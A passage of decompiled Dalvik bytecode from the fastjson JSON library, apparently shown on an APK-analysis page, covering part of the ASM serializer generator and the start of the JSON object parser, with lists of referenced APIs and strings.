                                                1136move-result v5
                                                1138invoke-interface {v1, v15, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1139sget v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->fieldName:I
                                                1141invoke-interface {v1, v15, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1143invoke-static {v14}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                1144move-result-object v5
                                                1146invoke-static {v5}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                1147move-result-object v5
                                                1149invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1150iget v5, v13, Lcom/alibaba/fastjson/util/FieldInfo;->serialzeFeatures:I
                                                1152invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1153move-result-object v5
                                                1155invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1157sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                1158new-instance v11, Ljava/lang/StringBuilder;
                                                1160invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
                                                1162const-string v15, "(L"
                                                1164invoke-virtual {v11, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1166sget-object v15, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                1168invoke-virtual {v11, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1170const-string v15, ";Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                1172invoke-virtual {v11, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1174invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1175move-result-object v11
                                                1177const-string v15, "writeAsArrayNonContext"
                                                1178move/from16 v20, v12
                                                1179const/16 v12, 0xb6
                                                1181invoke-interface {v1, v12, v5, v15, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1182const/16 v5, 0xa7
                                                1184invoke-interface {v1, v5, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1186invoke-interface {v1, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1187goto/16 :goto_695
                                                1188cond_693: move/from16 v20, v12
                                                1189goto_695:
                                                1190const-string v5, "fied_ser"
                                                1192invoke-virtual {v3, v5}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                1193move-result v5
                                                1194const/16 v6, 0x19
                                                1196invoke-interface {v1, v6, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1197const/4 v5, 0x1
                                                1199invoke-interface {v1, v6, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1200new-instance v5, Ljava/lang/StringBuilder;
                                                1202invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                1204invoke-virtual {v5, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1206iget-object v11, v13, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                1208invoke-virtual {v11}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                1209move-result-object v11
                                                1211invoke-virtual {v5, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1213invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1214move-result-object v5
                                                1216invoke-virtual {v3, v5}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                1217move-result v5
                                                1219invoke-interface {v1, v6, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1220sget v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->fieldName:I
                                                1222invoke-interface {v1, v6, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1224invoke-static {v14}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                1225move-result-object v5
                                                1227invoke-static {v5}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                1228move-result-object v5
                                                1230invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1231iget v5, v13, Lcom/alibaba/fastjson/util/FieldInfo;->serialzeFeatures:I
                                                1233invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1234move-result-object v5
                                                1236invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1237const/16 v5, 0xb9
                                                1239sget-object v6, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->ObjectSerializer:Ljava/lang/String;
                                                1240new-instance v11, Ljava/lang/StringBuilder;
                                                1242invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
                                                1244const-string v12, "(L"
                                                1246invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1248sget-object v12, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                1250invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1252const-string v12, ";Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                1254invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1256invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1257move-result-object v11
                                                1259invoke-interface {v1, v5, v6, v9, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1261invoke-interface {v1, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1262const/16 v5, 0xa7
                                                1264invoke-interface {v1, v5, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1266invoke-interface {v1, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1268invoke-virtual {v13}, Lcom/alibaba/fastjson/util/FieldInfo;->getFormat()Ljava/lang/String;
                                                1269move-result-object v5
                                                1270const/4 v6, 0x1
                                                1271const/16 v7, 0x19
                                                1273invoke-interface {v1, v7, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1274new-instance v6, Ljava/lang/StringBuilder;
                                                1276invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                                                1278invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1280iget-object v8, v13, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                1282invoke-virtual {v8}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                1283move-result-object v8
                                                1285invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1287invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1288move-result-object v6
                                                1290invoke-virtual {v3, v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                1291move-result v6
                                                1293invoke-interface {v1, v7, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1294if-eqz v5, :cond_73c
                                                1296invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1298sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                1300const-string v6, "writeWithFormat"
                                                1302const-string v8, "(Ljava/lang/Object;Ljava/lang/String;)V"
                                                1303const/16 v10, 0xb6
                                                1305invoke-interface {v1, v10, v5, v6, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1306const/16 v8, 0xb6
                                                1307goto/16 :goto_795
                                                1308cond_73c: sget v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->fieldName:I
                                                1310invoke-interface {v1, v7, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1312iget-object v5, v13, Lcom/alibaba/fastjson/util/FieldInfo;->fieldType:Ljava/lang/reflect/Type;
                                                1313instance-of v5, v5, Ljava/lang/Class;
                                                1314if-eqz v5, :cond_75d
                                                1316iget-object v5, v13, Lcom/alibaba/fastjson/util/FieldInfo;->fieldType:Ljava/lang/reflect/Type;
                                                1317check-cast v5, Ljava/lang/Class;
                                                1319invoke-virtual {v5}, Ljava/lang/Class;->isPrimitive()Z
                                                1320move-result v5
                                                1321if-eqz v5, :cond_75d
                                                1323sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                1325const-string v6, "writeWithFieldName"
                                                1327const-string v7, "(Ljava/lang/Object;Ljava/lang/Object;)V"
                                                1328const/16 v8, 0xb6
                                                1330invoke-interface {v1, v8, v5, v6, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1331goto/16 :goto_795
                                                1332cond_75d: const/4 v5, 0x0
                                                1333const/16 v6, 0x19
                                                1335invoke-interface {v1, v6, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1336const/16 v5, 0xb4
                                                1338invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$300(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Ljava/lang/String;
                                                1339move-result-object v6
                                                1340new-instance v7, Ljava/lang/StringBuilder;
                                                1342invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                1344iget-object v8, v13, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                1346invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1348const-string v8, "_asm_fieldType"
                                                1350invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1352invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1353move-result-object v7
                                                1355const-string v8, "Ljava/lang/reflect/Type;"
                                                1357invoke-interface {v1, v5, v6, v7, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitFieldInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1358iget v5, v13, Lcom/alibaba/fastjson/util/FieldInfo;->serialzeFeatures:I
                                                1360invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                1361move-result-object v5
                                                1363invoke-interface {v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1365sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                1367const-string v6, "writeWithFieldName"
                                                1369const-string v7, "(Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                1370const/16 v8, 0xb6
                                                1372invoke-interface {v1, v8, v5, v6, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1373goto_795:
                                                1374invoke-interface {v1, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1376invoke-interface {v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1378invoke-virtual {v3, v0}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                1379move-result v2
                                                1380const/16 v4, 0x19
                                                1382invoke-interface {v1, v4, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1383move/from16 v12, v20
                                                1384const/16 v2, 0x10
                                                1386invoke-interface {v1, v2, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1388sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                1389move-object/from16 v5, v21
                                                1391invoke-interface {v1, v8, v2, v9, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1392const/16 v6, 0x10
                                                1393move-object/from16 v2, p0
                                                1394goto/16 :goto_7e3
                                                1395cond_7b7: move-object v0, v4
                                                1396move/from16 v18, v7
                                                1397move-object v5, v8
                                                1398move/from16 v19, v11
                                                1399const/16 v4, 0x19
                                                1400const/16 v8, 0xb6
                                                1402invoke-virtual {v3, v0}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                1403move-result v2
                                                1405invoke-interface {v1, v4, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1406const/16 v2, 0x59
                                                1408invoke-interface {v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                1409move-object/from16 v2, p0
                                                1411invoke-direct {v2, v1, v3, v13}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_get(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                1413sget-object v6, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                1415const-string v7, "writeInt"
                                                1417invoke-interface {v1, v8, v6, v7, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1418const/16 v6, 0x10
                                                1420invoke-interface {v1, v6, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1422sget-object v7, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                1424invoke-interface {v1, v8, v7, v9, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1425goto_7e3: add-int/lit8 v11, v19, 0x1
                                                1426move-object v4, v0
                                                1427move-object v0, v2
                                                1428move-object v8, v5
                                                1429move/from16 v7, v18
                                                1430const/16 v5, 0x10
                                                1431const/16 v6, 0x19
                                                1432const/16 v10, 0xb6
                                                1433move-object/from16 v2, p3
                                                1434goto/16 :goto_3b
                                                1435cond_7f4: move-object v2, v0
                                                1436return-void
                                                Cross References
                                                APIs
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.parser.Feature.AllowArbitraryCommas:Lcom/alibaba/fastjson/parser/Feature
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.parser.Feature.AllowSingleQuotes:Lcom/alibaba/fastjson/parser/Feature
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.parser.Feature.AllowUnQuotedFieldNames:Lcom/alibaba/fastjson/parser/Feature
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.parser.Feature.DisableSpecialKeyDetect:Lcom/alibaba/fastjson/parser/Feature
                                                • java.util.Map.put
                                                • java.util.HashMap.<init>
                                                • java.lang.String.equals
                                                • java.util.Collections.emptyMap
                                                • java.lang.Class.newInstance
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.util.Map.size
                                                • com.alibaba.fastjson.parser.Feature.DisableSpecialKeyDetect:Lcom/alibaba/fastjson/parser/Feature
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.Object.getClass
                                                • java.lang.Object.toString
                                                • com.alibaba.fastjson.parser.Feature.AllowISO8601DateFormat:Lcom/alibaba/fastjson/parser/Feature
                                                • java.util.Calendar.getTime
                                                • java.util.Map.put
                                                • com.alibaba.fastjson.parser.Feature.UseBigDecimal:Lcom/alibaba/fastjson/parser/Feature
                                                • java.util.Map.put
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.Object.getClass
                                                • com.alibaba.fastjson.parser.Feature.UseObjectArray:Lcom/alibaba/fastjson/parser/Feature
                                                • java.util.Map.put
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.Object.getClass
                                                • com.alibaba.fastjson.parser.Feature.OrderedField:Lcom/alibaba/fastjson/parser/Feature
                                                • java.lang.Object.toString
                                                • java.lang.Object.toString
                                                • java.lang.Object.getClass
                                                • java.lang.Object.toString
                                                • java.util.Map.put
                                                • java.util.Map.put
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.Object.getClass
                                                • java.lang.Object.toString
                                                • java.util.Map.put
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.JSONException.<init>
                                                Strings
                                                • syntax error, expect {, actual
                                                • ,
                                                • , name
                                                • expect \':\' at
                                                • syntax error
                                                • parse number key error
                                                • , actual
                                                • java.util.Collections$EmptyMap
                                                • create instance error
                                                • $ref
                                                • @
                                                • ..
                                                • $
                                                • illegal ref,
                                                • null
                                                • syntax error, position at
                                                • syntax error,
                                                Position Instruction Meta Information
                                                0move-object/from16 v1, p0
                                                1move-object/from16 v0, p1
                                                2move-object/from16 v2, p2
                                                4iget-object v3, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->lexer:Lcom/alibaba/fastjson/parser/JSONLexer;
                                                6invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                7move-result v4
                                                8const/4 v5, 0x0
                                                9const/16 v6, 0x8
                                                10if-ne v4, v6, :cond_15
                                                12invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                13return-object v5
                                                14cond_15:
                                                15invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                16move-result v4
                                                17const/16 v6, 0xd
                                                18if-ne v4, v6, :cond_21
                                                20invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                21return-object v0
                                                22cond_21:
                                                23invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                24move-result v4
                                                25const/16 v7, 0xc
                                                26const/16 v8, 0x10
                                                27if-eq v4, v7, :cond_59
                                                29invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                30move-result v4
                                                31if-ne v4, v8, :cond_32
                                                32goto/16 :goto_59
                                                33cond_32: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                34new-instance v2, Ljava/lang/StringBuilder;
                                                36invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                38const-string v4, "syntax error, expect {, actual "
                                                40invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                42invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->tokenName()Ljava/lang/String;
                                                43move-result-object v4
                                                45invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                47const-string v4, ", "
                                                49invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                51invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->info()Ljava/lang/String;
                                                52move-result-object v3
                                                54invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                56invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                57move-result-object v2
                                                59invoke-direct {v0, v2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                60throw v0
                                                61goto_59:
                                                62iget-object v4, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->context:Lcom/alibaba/fastjson/parser/ParseContext;
                                                63move-object v9, v4
                                                64const/4 v4, 0x0
                                                65goto_5d:
                                                66invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->skipWhitespace()V
                                                68invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->getCurrent()C
                                                69move-result v10
                                                71sget-object v11, Lcom/alibaba/fastjson/parser/Feature;->AllowArbitraryCommas:Lcom/alibaba/fastjson/parser/Feature;
                                                73invoke-interface {v3, v11}, Lcom/alibaba/fastjson/parser/JSONLexer;->isEnabled(Lcom/alibaba/fastjson/parser/Feature;)Z
                                                74move-result v11
                                                75const/16 v12, 0x2c
                                                76if-eqz v11, :cond_7b
                                                77goto_6e: if-ne v10, v12, :cond_7b
                                                79invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->next()C
                                                81invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->skipWhitespace()V
                                                83invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->getCurrent()C
                                                84move-result v10
                                                85try_end_7a: goto/16 :goto_6e
                                                86cond_7b: const/16 v11, 0x30
                                                87const/16 v13, 0x7d
                                                89const-string v14, ", name "
                                                91const-string v5, "expect \':\' at "
                                                92const/16 v7, 0x3a
                                                93const/16 v6, 0x22
                                                95const-string v8, "syntax error"
                                                96const/4 v15, 0x1
                                                97if-ne v10, v6, :cond_bd
                                                98try_start_8c:
                                                99iget-object v10, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->symbolTable:Lcom/alibaba/fastjson/parser/SymbolTable;
                                                101invoke-interface {v3, v10, v6}, Lcom/alibaba/fastjson/parser/JSONLexer;->scanSymbol(Lcom/alibaba/fastjson/parser/SymbolTable;C)Ljava/lang/String;
                                                102move-result-object v10
                                                104invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->skipWhitespace()V
                                                106invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->getCurrent()C
                                                107move-result v6
                                                108if-ne v6, v7, :cond_9e
                                                109goto_9b: const/4 v5, 0x0
                                                110goto/16 :goto_1d9
                                                111cond_9e: new-instance v0, Lcom/alibaba/fastjson/JSONException;
                                                112new-instance v2, Ljava/lang/StringBuilder;
                                                114invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                116invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                118invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->pos()I
                                                119move-result v3
                                                121invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                123invoke-virtual {v2, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                125invoke-virtual {v2, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                127invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                128move-result-object v2
                                                130invoke-direct {v0, v2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                131throw v0
                                                132cond_bd: if-ne v10, v13, :cond_e8
                                                134invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->next()C
                                                136invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->resetStringPosition()V
                                                138invoke-interface {v3}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                139if-nez v4, :cond_e4
                                                141iget-object v3, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->context:Lcom/alibaba/fastjson/parser/ParseContext;
                                                142if-eqz v3, :cond_dd
                                                144iget-object v3, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->context:Lcom/alibaba/fastjson/parser/ParseContext;
                                                146iget-object v3, v3, Lcom/alibaba/fastjson/parser/ParseContext;->fieldName:Ljava/lang/Object;
                                                147if-ne v2, v3, :cond_dd
                                                149iget-object v3, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->context:Lcom/alibaba/fastjson/parser/ParseContext;
                                                151iget-object v3, v3, Lcom/alibaba/fastjson/parser/ParseContext;->object:Ljava/lang/Object;
                                                152if-ne v0, v3, :cond_dd
                                                154iget-object v9, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->context:Lcom/alibaba/fastjson/parser/ParseContext;
                                                155goto/16 :goto_e4
                                                156cond_dd:
                                                157invoke-virtual/range {p0 .. p2}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Ljava/lang/Object;Ljava/lang/Object;)Lcom/alibaba/fastjson/parser/ParseContext;
                                                158move-result-object v2
                                                159try_end_e1: if-nez v9, :cond_e4
                                                160move-object v9, v2
                                                161goto_e4:
                                                162invoke-virtual {v1, v9}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->setContext(Lcom/alibaba/fastjson/parser/ParseContext;)V
                                                163return-object v0
                                                164cond_e8: const/16 v6, 0x27
                                                165if-ne v10, v6, :cond_123
                                                166try_start_ec:
                                                167sget-object v10, Lcom/alibaba/fastjson/parser/Feature;->AllowSingleQuotes:Lcom/alibaba/fastjson/parser/Feature;
                                                169invoke-interface {v3, v10}, Lcom/alibaba/fastjson/parser/JSONLexer;->isEnabled(Lcom/alibaba/fastjson/parser/Feature;)Z
                                                170move-result v10
                                                171if-eqz v10, :cond_11d
                                                173iget-object v10, v1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->symbolTable:Lcom/alibaba/fastjson/parser/SymbolTable;
                                                175invoke-interface {v3, v10, v6}, Lcom/alibaba/fastjson/parser/JSONLexer;->scanSymbol(Lcom/alibaba/fastjson/parser/SymbolTable;C)Ljava/lang/String;
                                                176move-result-object v10
